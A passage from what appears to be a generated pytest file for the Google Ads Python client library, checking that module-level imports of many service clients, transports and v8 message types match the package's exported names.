expected_names.append(ConversionUploadServiceTransport.__name__) from google.ads.googleads import ConversionUploadServiceGrpcTransport expected_names.append(ConversionUploadServiceGrpcTransport.__name__) from google.ads.googleads import ConversionAdjustmentUploadServiceClient expected_names.append(ConversionAdjustmentUploadServiceClient.__name__) from google.ads.googleads import ConversionAdjustmentUploadServiceTransport expected_names.append(ConversionAdjustmentUploadServiceTransport.__name__) from google.ads.googleads import ConversionAdjustmentUploadServiceGrpcTransport expected_names.append(ConversionAdjustmentUploadServiceGrpcTransport.__name__) from google.ads.googleads import CombinedAudienceServiceClient expected_names.append(CombinedAudienceServiceClient.__name__) from google.ads.googleads import CombinedAudienceServiceTransport expected_names.append(CombinedAudienceServiceTransport.__name__) from google.ads.googleads import CombinedAudienceServiceGrpcTransport expected_names.append(CombinedAudienceServiceGrpcTransport.__name__) from google.ads.googleads import ClickViewServiceClient expected_names.append(ClickViewServiceClient.__name__) from google.ads.googleads import ClickViewServiceTransport expected_names.append(ClickViewServiceTransport.__name__) from google.ads.googleads import ClickViewServiceGrpcTransport expected_names.append(ClickViewServiceGrpcTransport.__name__) from google.ads.googleads import ChangeStatusServiceClient expected_names.append(ChangeStatusServiceClient.__name__) from google.ads.googleads import ChangeStatusServiceTransport expected_names.append(ChangeStatusServiceTransport.__name__) from google.ads.googleads import ChangeStatusServiceGrpcTransport expected_names.append(ChangeStatusServiceGrpcTransport.__name__) from google.ads.googleads import CarrierConstantServiceClient expected_names.append(CarrierConstantServiceClient.__name__) from google.ads.googleads import CarrierConstantServiceTransport expected_names.append(CarrierConstantServiceTransport.__name__) from google.ads.googleads import CarrierConstantServiceGrpcTransport expected_names.append(CarrierConstantServiceGrpcTransport.__name__) from google.ads.googleads import CampaignSimulationServiceClient expected_names.append(CampaignSimulationServiceClient.__name__) from google.ads.googleads import CampaignSimulationServiceTransport expected_names.append(CampaignSimulationServiceTransport.__name__) from google.ads.googleads import CampaignSimulationServiceGrpcTransport expected_names.append(CampaignSimulationServiceGrpcTransport.__name__) from google.ads.googleads import CampaignCriterionSimulationServiceClient expected_names.append(CampaignCriterionSimulationServiceClient.__name__) from google.ads.googleads import CampaignCriterionSimulationServiceTransport expected_names.append(CampaignCriterionSimulationServiceTransport.__name__) from google.ads.googleads import CampaignCriterionSimulationServiceGrpcTransport expected_names.append(CampaignCriterionSimulationServiceGrpcTransport.__name__) from google.ads.googleads import CampaignAudienceViewServiceClient expected_names.append(CampaignAudienceViewServiceClient.__name__) from google.ads.googleads import CampaignAudienceViewServiceTransport expected_names.append(CampaignAudienceViewServiceTransport.__name__) from google.ads.googleads import CampaignAudienceViewServiceGrpcTransport expected_names.append(CampaignAudienceViewServiceGrpcTransport.__name__) from google.ads.googleads import BillingSetupServiceClient expected_names.append(BillingSetupServiceClient.__name__) from google.ads.googleads import BillingSetupServiceTransport expected_names.append(BillingSetupServiceTransport.__name__) from google.ads.googleads import BillingSetupServiceGrpcTransport expected_names.append(BillingSetupServiceGrpcTransport.__name__) from google.ads.googleads import BiddingStrategySimulationServiceClient expected_names.append(BiddingStrategySimulationServiceClient.__name__) from google.ads.googleads import BiddingStrategySimulationServiceTransport expected_names.append(BiddingStrategySimulationServiceTransport.__name__) from google.ads.googleads import BiddingStrategySimulationServiceGrpcTransport expected_names.append(BiddingStrategySimulationServiceGrpcTransport.__name__) from google.ads.googleads import BatchJobServiceClient expected_names.append(BatchJobServiceClient.__name__) from google.ads.googleads import BatchJobServiceTransport expected_names.append(BatchJobServiceTransport.__name__) from google.ads.googleads import BatchJobServiceGrpcTransport expected_names.append(BatchJobServiceGrpcTransport.__name__) from google.ads.googleads import GoogleAdsServiceClient expected_names.append(GoogleAdsServiceClient.__name__) from google.ads.googleads import GoogleAdsServiceTransport expected_names.append(GoogleAdsServiceTransport.__name__) from google.ads.googleads import GoogleAdsServiceGrpcTransport expected_names.append(GoogleAdsServiceGrpcTransport.__name__) from google.ads.googleads import UserListServiceClient expected_names.append(UserListServiceClient.__name__) from google.ads.googleads import UserListServiceTransport expected_names.append(UserListServiceTransport.__name__) from google.ads.googleads import UserListServiceGrpcTransport expected_names.append(UserListServiceGrpcTransport.__name__) from google.ads.googleads import SmartCampaignSettingServiceClient expected_names.append(SmartCampaignSettingServiceClient.__name__) from google.ads.googleads import SmartCampaignSettingServiceTransport expected_names.append(SmartCampaignSettingServiceTransport.__name__) from google.ads.googleads import SmartCampaignSettingServiceGrpcTransport expected_names.append(SmartCampaignSettingServiceGrpcTransport.__name__) from google.ads.googleads import SharedSetServiceClient expected_names.append(SharedSetServiceClient.__name__) from google.ads.googleads import SharedSetServiceTransport expected_names.append(SharedSetServiceTransport.__name__) from google.ads.googleads import SharedSetServiceGrpcTransport expected_names.append(SharedSetServiceGrpcTransport.__name__) from google.ads.googleads import SharedCriterionServiceClient expected_names.append(SharedCriterionServiceClient.__name__) from google.ads.googleads import SharedCriterionServiceTransport expected_names.append(SharedCriterionServiceTransport.__name__) from google.ads.googleads import SharedCriterionServiceGrpcTransport expected_names.append(SharedCriterionServiceGrpcTransport.__name__) from google.ads.googleads import RemarketingActionServiceClient expected_names.append(RemarketingActionServiceClient.__name__) from google.ads.googleads import RemarketingActionServiceTransport expected_names.append(RemarketingActionServiceTransport.__name__) from google.ads.googleads import RemarketingActionServiceGrpcTransport expected_names.append(RemarketingActionServiceGrpcTransport.__name__) from google.ads.googleads import MediaFileServiceClient expected_names.append(MediaFileServiceClient.__name__) from google.ads.googleads import MediaFileServiceTransport expected_names.append(MediaFileServiceTransport.__name__) from google.ads.googleads import MediaFileServiceGrpcTransport expected_names.append(MediaFileServiceGrpcTransport.__name__) from google.ads.googleads import LabelServiceClient expected_names.append(LabelServiceClient.__name__) from google.ads.googleads import LabelServiceTransport expected_names.append(LabelServiceTransport.__name__) from google.ads.googleads import LabelServiceGrpcTransport expected_names.append(LabelServiceGrpcTransport.__name__) from google.ads.googleads import KeywordPlanServiceClient expected_names.append(KeywordPlanServiceClient.__name__) from google.ads.googleads import KeywordPlanServiceTransport expected_names.append(KeywordPlanServiceTransport.__name__) from google.ads.googleads import KeywordPlanServiceGrpcTransport expected_names.append(KeywordPlanServiceGrpcTransport.__name__) from google.ads.googleads import KeywordPlanCampaignServiceClient expected_names.append(KeywordPlanCampaignServiceClient.__name__) from google.ads.googleads import KeywordPlanCampaignServiceTransport expected_names.append(KeywordPlanCampaignServiceTransport.__name__) from google.ads.googleads import KeywordPlanCampaignServiceGrpcTransport expected_names.append(KeywordPlanCampaignServiceGrpcTransport.__name__) from google.ads.googleads import KeywordPlanCampaignKeywordServiceClient expected_names.append(KeywordPlanCampaignKeywordServiceClient.__name__) from google.ads.googleads import KeywordPlanCampaignKeywordServiceTransport expected_names.append(KeywordPlanCampaignKeywordServiceTransport.__name__) from google.ads.googleads import KeywordPlanCampaignKeywordServiceGrpcTransport expected_names.append(KeywordPlanCampaignKeywordServiceGrpcTransport.__name__) from google.ads.googleads import KeywordPlanAdGroupServiceClient expected_names.append(KeywordPlanAdGroupServiceClient.__name__) from google.ads.googleads import KeywordPlanAdGroupServiceTransport expected_names.append(KeywordPlanAdGroupServiceTransport.__name__) from google.ads.googleads import KeywordPlanAdGroupServiceGrpcTransport expected_names.append(KeywordPlanAdGroupServiceGrpcTransport.__name__) from google.ads.googleads import KeywordPlanAdGroupKeywordServiceClient expected_names.append(KeywordPlanAdGroupKeywordServiceClient.__name__) from google.ads.googleads import KeywordPlanAdGroupKeywordServiceTransport expected_names.append(KeywordPlanAdGroupKeywordServiceTransport.__name__) from google.ads.googleads import KeywordPlanAdGroupKeywordServiceGrpcTransport expected_names.append(KeywordPlanAdGroupKeywordServiceGrpcTransport.__name__) from google.ads.googleads import FeedServiceClient expected_names.append(FeedServiceClient.__name__) from google.ads.googleads import FeedServiceTransport expected_names.append(FeedServiceTransport.__name__) from google.ads.googleads import FeedServiceGrpcTransport expected_names.append(FeedServiceGrpcTransport.__name__) from google.ads.googleads import FeedMappingServiceClient expected_names.append(FeedMappingServiceClient.__name__) from google.ads.googleads import FeedMappingServiceTransport expected_names.append(FeedMappingServiceTransport.__name__) from google.ads.googleads import FeedMappingServiceGrpcTransport expected_names.append(FeedMappingServiceGrpcTransport.__name__) from google.ads.googleads import FeedItemTargetServiceClient expected_names.append(FeedItemTargetServiceClient.__name__) from google.ads.googleads import FeedItemTargetServiceTransport expected_names.append(FeedItemTargetServiceTransport.__name__) from google.ads.googleads import FeedItemTargetServiceGrpcTransport expected_names.append(FeedItemTargetServiceGrpcTransport.__name__) from google.ads.googleads import FeedItemSetServiceClient expected_names.append(FeedItemSetServiceClient.__name__) from google.ads.googleads import FeedItemSetServiceTransport expected_names.append(FeedItemSetServiceTransport.__name__) from google.ads.googleads import FeedItemSetServiceGrpcTransport expected_names.append(FeedItemSetServiceGrpcTransport.__name__) from google.ads.googleads import FeedItemSetLinkServiceClient expected_names.append(FeedItemSetLinkServiceClient.__name__) from google.ads.googleads import FeedItemSetLinkServiceTransport expected_names.append(FeedItemSetLinkServiceTransport.__name__) from google.ads.googleads import FeedItemSetLinkServiceGrpcTransport expected_names.append(FeedItemSetLinkServiceGrpcTransport.__name__) from google.ads.googleads import FeedItemServiceClient expected_names.append(FeedItemServiceClient.__name__) from google.ads.googleads import FeedItemServiceTransport expected_names.append(FeedItemServiceTransport.__name__) from google.ads.googleads import FeedItemServiceGrpcTransport expected_names.append(FeedItemServiceGrpcTransport.__name__) from google.ads.googleads import ExtensionFeedItemServiceClient expected_names.append(ExtensionFeedItemServiceClient.__name__) from google.ads.googleads import ExtensionFeedItemServiceTransport expected_names.append(ExtensionFeedItemServiceTransport.__name__) from google.ads.googleads import ExtensionFeedItemServiceGrpcTransport expected_names.append(ExtensionFeedItemServiceGrpcTransport.__name__) from google.ads.googleads import CustomerServiceClient expected_names.append(CustomerServiceClient.__name__) from google.ads.googleads import CustomerServiceTransport expected_names.append(CustomerServiceTransport.__name__) from google.ads.googleads import CustomerServiceGrpcTransport expected_names.append(CustomerServiceGrpcTransport.__name__) from google.ads.googleads import CustomerNegativeCriterionServiceClient expected_names.append(CustomerNegativeCriterionServiceClient.__name__) from google.ads.googleads import CustomerNegativeCriterionServiceTransport expected_names.append(CustomerNegativeCriterionServiceTransport.__name__) from google.ads.googleads import CustomerNegativeCriterionServiceGrpcTransport expected_names.append(CustomerNegativeCriterionServiceGrpcTransport.__name__) from google.ads.googleads import CustomerLabelServiceClient expected_names.append(CustomerLabelServiceClient.__name__) from google.ads.googleads import CustomerLabelServiceTransport expected_names.append(CustomerLabelServiceTransport.__name__) from google.ads.googleads import CustomerLabelServiceGrpcTransport expected_names.append(CustomerLabelServiceGrpcTransport.__name__) from google.ads.googleads import CustomerFeedServiceClient expected_names.append(CustomerFeedServiceClient.__name__) from google.ads.googleads import CustomerFeedServiceTransport expected_names.append(CustomerFeedServiceTransport.__name__) from google.ads.googleads import CustomerFeedServiceGrpcTransport expected_names.append(CustomerFeedServiceGrpcTransport.__name__) from google.ads.googleads import CustomerExtensionSettingServiceClient expected_names.append(CustomerExtensionSettingServiceClient.__name__) from google.ads.googleads import CustomerExtensionSettingServiceTransport expected_names.append(CustomerExtensionSettingServiceTransport.__name__) from google.ads.googleads import CustomerExtensionSettingServiceGrpcTransport expected_names.append(CustomerExtensionSettingServiceGrpcTransport.__name__) from google.ads.googleads import CustomerAssetServiceClient expected_names.append(CustomerAssetServiceClient.__name__) from google.ads.googleads import CustomerAssetServiceTransport expected_names.append(CustomerAssetServiceTransport.__name__) from google.ads.googleads import CustomerAssetServiceGrpcTransport expected_names.append(CustomerAssetServiceGrpcTransport.__name__) from google.ads.googleads import ConversionValueRuleSetServiceClient expected_names.append(ConversionValueRuleSetServiceClient.__name__) from google.ads.googleads import ConversionValueRuleSetServiceTransport expected_names.append(ConversionValueRuleSetServiceTransport.__name__) from google.ads.googleads import ConversionValueRuleSetServiceGrpcTransport expected_names.append(ConversionValueRuleSetServiceGrpcTransport.__name__) from google.ads.googleads import ConversionValueRuleServiceClient expected_names.append(ConversionValueRuleServiceClient.__name__) from google.ads.googleads import ConversionValueRuleServiceTransport expected_names.append(ConversionValueRuleServiceTransport.__name__) from google.ads.googleads import ConversionValueRuleServiceGrpcTransport expected_names.append(ConversionValueRuleServiceGrpcTransport.__name__) from google.ads.googleads import ConversionCustomVariableServiceClient expected_names.append(ConversionCustomVariableServiceClient.__name__) from google.ads.googleads import ConversionCustomVariableServiceTransport expected_names.append(ConversionCustomVariableServiceTransport.__name__) from google.ads.googleads import ConversionCustomVariableServiceGrpcTransport expected_names.append(ConversionCustomVariableServiceGrpcTransport.__name__) from google.ads.googleads import ConversionActionServiceClient expected_names.append(ConversionActionServiceClient.__name__) from google.ads.googleads import ConversionActionServiceTransport expected_names.append(ConversionActionServiceTransport.__name__) from google.ads.googleads import ConversionActionServiceGrpcTransport expected_names.append(ConversionActionServiceGrpcTransport.__name__) from google.ads.googleads import CampaignSharedSetServiceClient expected_names.append(CampaignSharedSetServiceClient.__name__) from google.ads.googleads import CampaignSharedSetServiceTransport expected_names.append(CampaignSharedSetServiceTransport.__name__) from google.ads.googleads import CampaignSharedSetServiceGrpcTransport expected_names.append(CampaignSharedSetServiceGrpcTransport.__name__) from google.ads.googleads import CampaignServiceClient expected_names.append(CampaignServiceClient.__name__) from google.ads.googleads import CampaignServiceTransport expected_names.append(CampaignServiceTransport.__name__) from google.ads.googleads import CampaignServiceGrpcTransport expected_names.append(CampaignServiceGrpcTransport.__name__) from google.ads.googleads import CampaignLabelServiceClient expected_names.append(CampaignLabelServiceClient.__name__) from google.ads.googleads import CampaignLabelServiceTransport expected_names.append(CampaignLabelServiceTransport.__name__) from google.ads.googleads import CampaignLabelServiceGrpcTransport expected_names.append(CampaignLabelServiceGrpcTransport.__name__) from google.ads.googleads import CampaignFeedServiceClient expected_names.append(CampaignFeedServiceClient.__name__) from google.ads.googleads import CampaignFeedServiceTransport expected_names.append(CampaignFeedServiceTransport.__name__) from google.ads.googleads import CampaignFeedServiceGrpcTransport expected_names.append(CampaignFeedServiceGrpcTransport.__name__) from google.ads.googleads import CampaignExtensionSettingServiceClient expected_names.append(CampaignExtensionSettingServiceClient.__name__) from google.ads.googleads import CampaignExtensionSettingServiceTransport expected_names.append(CampaignExtensionSettingServiceTransport.__name__) from google.ads.googleads import CampaignExtensionSettingServiceGrpcTransport expected_names.append(CampaignExtensionSettingServiceGrpcTransport.__name__) from google.ads.googleads import CampaignExperimentServiceClient expected_names.append(CampaignExperimentServiceClient.__name__) from google.ads.googleads import CampaignExperimentServiceTransport expected_names.append(CampaignExperimentServiceTransport.__name__) from google.ads.googleads import CampaignExperimentServiceGrpcTransport expected_names.append(CampaignExperimentServiceGrpcTransport.__name__) from google.ads.googleads import CampaignDraftServiceClient expected_names.append(CampaignDraftServiceClient.__name__) from google.ads.googleads import CampaignDraftServiceTransport expected_names.append(CampaignDraftServiceTransport.__name__) from google.ads.googleads import CampaignDraftServiceGrpcTransport expected_names.append(CampaignDraftServiceGrpcTransport.__name__) from google.ads.googleads import CampaignCriterionServiceClient expected_names.append(CampaignCriterionServiceClient.__name__) from google.ads.googleads import CampaignCriterionServiceTransport expected_names.append(CampaignCriterionServiceTransport.__name__) from google.ads.googleads import CampaignCriterionServiceGrpcTransport expected_names.append(CampaignCriterionServiceGrpcTransport.__name__) from google.ads.googleads import CampaignBudgetServiceClient expected_names.append(CampaignBudgetServiceClient.__name__) from google.ads.googleads import CampaignBudgetServiceTransport expected_names.append(CampaignBudgetServiceTransport.__name__) from google.ads.googleads import CampaignBudgetServiceGrpcTransport expected_names.append(CampaignBudgetServiceGrpcTransport.__name__) from google.ads.googleads import CampaignBidModifierServiceClient expected_names.append(CampaignBidModifierServiceClient.__name__) from google.ads.googleads import CampaignBidModifierServiceTransport expected_names.append(CampaignBidModifierServiceTransport.__name__) from google.ads.googleads import CampaignBidModifierServiceGrpcTransport expected_names.append(CampaignBidModifierServiceGrpcTransport.__name__) from google.ads.googleads import CampaignAssetServiceClient expected_names.append(CampaignAssetServiceClient.__name__) from google.ads.googleads import CampaignAssetServiceTransport expected_names.append(CampaignAssetServiceTransport.__name__) from google.ads.googleads import CampaignAssetServiceGrpcTransport expected_names.append(CampaignAssetServiceGrpcTransport.__name__) from google.ads.googleads import BiddingStrategyServiceClient expected_names.append(BiddingStrategyServiceClient.__name__) from google.ads.googleads import BiddingStrategyServiceTransport expected_names.append(BiddingStrategyServiceTransport.__name__) from google.ads.googleads import BiddingStrategyServiceGrpcTransport expected_names.append(BiddingStrategyServiceGrpcTransport.__name__) from google.ads.googleads import BiddingSeasonalityAdjustmentServiceClient expected_names.append(BiddingSeasonalityAdjustmentServiceClient.__name__) from google.ads.googleads import BiddingSeasonalityAdjustmentServiceTransport expected_names.append(BiddingSeasonalityAdjustmentServiceTransport.__name__) from google.ads.googleads import BiddingSeasonalityAdjustmentServiceGrpcTransport expected_names.append(BiddingSeasonalityAdjustmentServiceGrpcTransport.__name__) from google.ads.googleads import BiddingDataExclusionServiceClient expected_names.append(BiddingDataExclusionServiceClient.__name__) from google.ads.googleads import BiddingDataExclusionServiceTransport expected_names.append(BiddingDataExclusionServiceTransport.__name__) from google.ads.googleads import BiddingDataExclusionServiceGrpcTransport expected_names.append(BiddingDataExclusionServiceGrpcTransport.__name__) from google.ads.googleads import AssetServiceClient expected_names.append(AssetServiceClient.__name__) from google.ads.googleads import AssetServiceTransport expected_names.append(AssetServiceTransport.__name__) from google.ads.googleads import AssetServiceGrpcTransport expected_names.append(AssetServiceGrpcTransport.__name__) from google.ads.googleads import AssetFieldTypeViewServiceClient expected_names.append(AssetFieldTypeViewServiceClient.__name__) from google.ads.googleads import AssetFieldTypeViewServiceTransport expected_names.append(AssetFieldTypeViewServiceTransport.__name__) from google.ads.googleads import AssetFieldTypeViewServiceGrpcTransport expected_names.append(AssetFieldTypeViewServiceGrpcTransport.__name__) from google.ads.googleads import AgeRangeViewServiceClient expected_names.append(AgeRangeViewServiceClient.__name__) from google.ads.googleads import AgeRangeViewServiceTransport expected_names.append(AgeRangeViewServiceTransport.__name__) from google.ads.googleads import AgeRangeViewServiceGrpcTransport expected_names.append(AgeRangeViewServiceGrpcTransport.__name__) from google.ads.googleads import AdServiceClient expected_names.append(AdServiceClient.__name__) from google.ads.googleads import AdServiceTransport expected_names.append(AdServiceTransport.__name__) from google.ads.googleads import AdServiceGrpcTransport expected_names.append(AdServiceGrpcTransport.__name__) from google.ads.googleads import AdScheduleViewServiceClient expected_names.append(AdScheduleViewServiceClient.__name__) from google.ads.googleads import AdScheduleViewServiceTransport expected_names.append(AdScheduleViewServiceTransport.__name__) from google.ads.googleads import AdScheduleViewServiceGrpcTransport expected_names.append(AdScheduleViewServiceGrpcTransport.__name__) from google.ads.googleads import AdParameterServiceClient expected_names.append(AdParameterServiceClient.__name__) from google.ads.googleads import AdParameterServiceTransport expected_names.append(AdParameterServiceTransport.__name__) from google.ads.googleads import AdParameterServiceGrpcTransport expected_names.append(AdParameterServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupSimulationServiceClient expected_names.append(AdGroupSimulationServiceClient.__name__) from google.ads.googleads import AdGroupSimulationServiceTransport expected_names.append(AdGroupSimulationServiceTransport.__name__) from google.ads.googleads import AdGroupSimulationServiceGrpcTransport expected_names.append(AdGroupSimulationServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupServiceClient expected_names.append(AdGroupServiceClient.__name__) from google.ads.googleads import AdGroupServiceTransport expected_names.append(AdGroupServiceTransport.__name__) from google.ads.googleads import AdGroupServiceGrpcTransport expected_names.append(AdGroupServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupLabelServiceClient expected_names.append(AdGroupLabelServiceClient.__name__) from google.ads.googleads import AdGroupLabelServiceTransport expected_names.append(AdGroupLabelServiceTransport.__name__) from google.ads.googleads import AdGroupLabelServiceGrpcTransport expected_names.append(AdGroupLabelServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupFeedServiceClient expected_names.append(AdGroupFeedServiceClient.__name__) from google.ads.googleads import AdGroupFeedServiceTransport expected_names.append(AdGroupFeedServiceTransport.__name__) from google.ads.googleads import AdGroupFeedServiceGrpcTransport expected_names.append(AdGroupFeedServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupExtensionSettingServiceClient expected_names.append(AdGroupExtensionSettingServiceClient.__name__) from google.ads.googleads import AdGroupExtensionSettingServiceTransport expected_names.append(AdGroupExtensionSettingServiceTransport.__name__) from google.ads.googleads import AdGroupExtensionSettingServiceGrpcTransport expected_names.append(AdGroupExtensionSettingServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupCriterionSimulationServiceClient expected_names.append(AdGroupCriterionSimulationServiceClient.__name__) from google.ads.googleads import AdGroupCriterionSimulationServiceTransport expected_names.append(AdGroupCriterionSimulationServiceTransport.__name__) from google.ads.googleads import AdGroupCriterionSimulationServiceGrpcTransport expected_names.append(AdGroupCriterionSimulationServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupCriterionServiceClient expected_names.append(AdGroupCriterionServiceClient.__name__) from google.ads.googleads import AdGroupCriterionServiceTransport expected_names.append(AdGroupCriterionServiceTransport.__name__) from google.ads.googleads import AdGroupCriterionServiceGrpcTransport expected_names.append(AdGroupCriterionServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupCriterionLabelServiceClient expected_names.append(AdGroupCriterionLabelServiceClient.__name__) from google.ads.googleads import AdGroupCriterionLabelServiceTransport expected_names.append(AdGroupCriterionLabelServiceTransport.__name__) from google.ads.googleads import AdGroupCriterionLabelServiceGrpcTransport expected_names.append(AdGroupCriterionLabelServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupBidModifierServiceClient expected_names.append(AdGroupBidModifierServiceClient.__name__) from google.ads.googleads import AdGroupBidModifierServiceTransport expected_names.append(AdGroupBidModifierServiceTransport.__name__) from google.ads.googleads import AdGroupBidModifierServiceGrpcTransport expected_names.append(AdGroupBidModifierServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupAudienceViewServiceClient expected_names.append(AdGroupAudienceViewServiceClient.__name__) from google.ads.googleads import AdGroupAudienceViewServiceTransport expected_names.append(AdGroupAudienceViewServiceTransport.__name__) from google.ads.googleads import AdGroupAudienceViewServiceGrpcTransport expected_names.append(AdGroupAudienceViewServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupAssetServiceClient expected_names.append(AdGroupAssetServiceClient.__name__) from google.ads.googleads import AdGroupAssetServiceTransport expected_names.append(AdGroupAssetServiceTransport.__name__) from google.ads.googleads import AdGroupAssetServiceGrpcTransport expected_names.append(AdGroupAssetServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupAdServiceClient expected_names.append(AdGroupAdServiceClient.__name__) from google.ads.googleads import AdGroupAdServiceTransport expected_names.append(AdGroupAdServiceTransport.__name__) from google.ads.googleads import AdGroupAdServiceGrpcTransport expected_names.append(AdGroupAdServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupAdLabelServiceClient expected_names.append(AdGroupAdLabelServiceClient.__name__) from google.ads.googleads import AdGroupAdLabelServiceTransport expected_names.append(AdGroupAdLabelServiceTransport.__name__) from google.ads.googleads import AdGroupAdLabelServiceGrpcTransport expected_names.append(AdGroupAdLabelServiceGrpcTransport.__name__) from google.ads.googleads import AdGroupAdAssetViewServiceClient expected_names.append(AdGroupAdAssetViewServiceClient.__name__) from google.ads.googleads import AdGroupAdAssetViewServiceTransport expected_names.append(AdGroupAdAssetViewServiceTransport.__name__) from google.ads.googleads import AdGroupAdAssetViewServiceGrpcTransport expected_names.append(AdGroupAdAssetViewServiceGrpcTransport.__name__) from google.ads.googleads import AccountLinkServiceClient expected_names.append(AccountLinkServiceClient.__name__) from google.ads.googleads import AccountLinkServiceTransport expected_names.append(AccountLinkServiceTransport.__name__) from google.ads.googleads import AccountLinkServiceGrpcTransport expected_names.append(AccountLinkServiceGrpcTransport.__name__) from google.ads.googleads import AccountBudgetServiceClient expected_names.append(AccountBudgetServiceClient.__name__) from google.ads.googleads import AccountBudgetServiceTransport expected_names.append(AccountBudgetServiceTransport.__name__) from google.ads.googleads import AccountBudgetServiceGrpcTransport expected_names.append(AccountBudgetServiceGrpcTransport.__name__) from google.ads.googleads import AccountBudgetProposalServiceClient expected_names.append(AccountBudgetProposalServiceClient.__name__) from google.ads.googleads import AccountBudgetProposalServiceTransport expected_names.append(AccountBudgetProposalServiceTransport.__name__) from google.ads.googleads import AccountBudgetProposalServiceGrpcTransport expected_names.append(AccountBudgetProposalServiceGrpcTransport.__name__) from google.ads.googleads import AccessibleBiddingStrategyServiceClient expected_names.append(AccessibleBiddingStrategyServiceClient.__name__) from google.ads.googleads import AccessibleBiddingStrategyServiceTransport expected_names.append(AccessibleBiddingStrategyServiceTransport.__name__) from google.ads.googleads import AccessibleBiddingStrategyServiceGrpcTransport expected_names.append(AccessibleBiddingStrategyServiceGrpcTransport.__name__) expected_names.sort() from google.ads import googleads actual_names = dir(googleads) assert expected_names == actual_names # Verify the logic for handling non-existant names with pytest.raises(ImportError): from google.ads.googleads import GiantSquid def test_versionsed_module_level_imports(): expected_names = [] # Message types from google.ads.googleads.v8 import PolicyTopicEntryTypeEnum expected_names.append(PolicyTopicEntryTypeEnum.__name__) from google.ads.googleads.v8 import PolicyTopicEvidenceDestinationMismatchUrlTypeEnum expected_names.append(PolicyTopicEvidenceDestinationMismatchUrlTypeEnum.__name__) from google.ads.googleads.v8 import PolicyTopicEvidenceDestinationNotWorkingDeviceEnum expected_names.append(PolicyTopicEvidenceDestinationNotWorkingDeviceEnum.__name__) from google.ads.googleads.v8 import PolicyTopicEvidenceDestinationNotWorkingDnsErrorTypeEnum expected_names.append(PolicyTopicEvidenceDestinationNotWorkingDnsErrorTypeEnum.__name__) from google.ads.googleads.v8 import PolicyViolationKey expected_names.append(PolicyViolationKey.__name__) from google.ads.googleads.v8 import PolicyValidationParameter expected_names.append(PolicyValidationParameter.__name__) from google.ads.googleads.v8 import PolicyTopicEntry expected_names.append(PolicyTopicEntry.__name__) from google.ads.googleads.v8 import PolicyTopicEvidence expected_names.append(PolicyTopicEvidence.__name__) from google.ads.googleads.v8 import PolicyTopicConstraint expected_names.append(PolicyTopicConstraint.__name__) from google.ads.googleads.v8 import PolicyApprovalStatusEnum expected_names.append(PolicyApprovalStatusEnum.__name__) from google.ads.googleads.v8 import PolicyReviewStatusEnum expected_names.append(PolicyReviewStatusEnum.__name__) from google.ads.googleads.v8 import AdAssetPolicySummary expected_names.append(AdAssetPolicySummary.__name__) from google.ads.googleads.v8 import AssetPerformanceLabelEnum expected_names.append(AssetPerformanceLabelEnum.__name__) from google.ads.googleads.v8 import ServedAssetFieldTypeEnum expected_names.append(ServedAssetFieldTypeEnum.__name__) from google.ads.googleads.v8 import AdTextAsset expected_names.append(AdTextAsset.__name__) from google.ads.googleads.v8 import AdImageAsset expected_names.append(AdImageAsset.__name__) from google.ads.googleads.v8 import AdVideoAsset expected_names.append(AdVideoAsset.__name__) from google.ads.googleads.v8 import AdMediaBundleAsset expected_names.append(AdMediaBundleAsset.__name__) from google.ads.googleads.v8 import CallConversionReportingStateEnum expected_names.append(CallConversionReportingStateEnum.__name__) from google.ads.googleads.v8 import DisplayAdFormatSettingEnum expected_names.append(DisplayAdFormatSettingEnum.__name__) from google.ads.googleads.v8 import DisplayUploadProductTypeEnum expected_names.append(DisplayUploadProductTypeEnum.__name__) from google.ads.googleads.v8 import LegacyAppInstallAdAppStoreEnum expected_names.append(LegacyAppInstallAdAppStoreEnum.__name__) from google.ads.googleads.v8 import MimeTypeEnum expected_names.append(MimeTypeEnum.__name__) from google.ads.googleads.v8 import TextAdInfo expected_names.append(TextAdInfo.__name__) from google.ads.googleads.v8 import ExpandedTextAdInfo expected_names.append(ExpandedTextAdInfo.__name__) from google.ads.googleads.v8 import ExpandedDynamicSearchAdInfo expected_names.append(ExpandedDynamicSearchAdInfo.__name__) from google.ads.googleads.v8 import HotelAdInfo expected_names.append(HotelAdInfo.__name__) from google.ads.googleads.v8 import ShoppingSmartAdInfo expected_names.append(ShoppingSmartAdInfo.__name__) from google.ads.googleads.v8 import ShoppingProductAdInfo expected_names.append(ShoppingProductAdInfo.__name__) from google.ads.googleads.v8 import ShoppingComparisonListingAdInfo expected_names.append(ShoppingComparisonListingAdInfo.__name__) from google.ads.googleads.v8 import GmailAdInfo expected_names.append(GmailAdInfo.__name__) from google.ads.googleads.v8 import GmailTeaser expected_names.append(GmailTeaser.__name__) from google.ads.googleads.v8 import DisplayCallToAction expected_names.append(DisplayCallToAction.__name__) from google.ads.googleads.v8 import ProductImage expected_names.append(ProductImage.__name__) from google.ads.googleads.v8 import ProductVideo expected_names.append(ProductVideo.__name__) from google.ads.googleads.v8 import ImageAdInfo expected_names.append(ImageAdInfo.__name__) from google.ads.googleads.v8 import VideoBumperInStreamAdInfo expected_names.append(VideoBumperInStreamAdInfo.__name__) from google.ads.googleads.v8 import VideoNonSkippableInStreamAdInfo expected_names.append(VideoNonSkippableInStreamAdInfo.__name__) from google.ads.googleads.v8 import VideoTrueViewInStreamAdInfo expected_names.append(VideoTrueViewInStreamAdInfo.__name__) from google.ads.googleads.v8 import VideoOutstreamAdInfo expected_names.append(VideoOutstreamAdInfo.__name__) from google.ads.googleads.v8 import VideoTrueViewDiscoveryAdInfo expected_names.append(VideoTrueViewDiscoveryAdInfo.__name__) from google.ads.googleads.v8 import VideoAdInfo expected_names.append(VideoAdInfo.__name__) from google.ads.googleads.v8 import VideoResponsiveAdInfo expected_names.append(VideoResponsiveAdInfo.__name__) from google.ads.googleads.v8 import ResponsiveSearchAdInfo expected_names.append(ResponsiveSearchAdInfo.__name__) from google.ads.googleads.v8 import 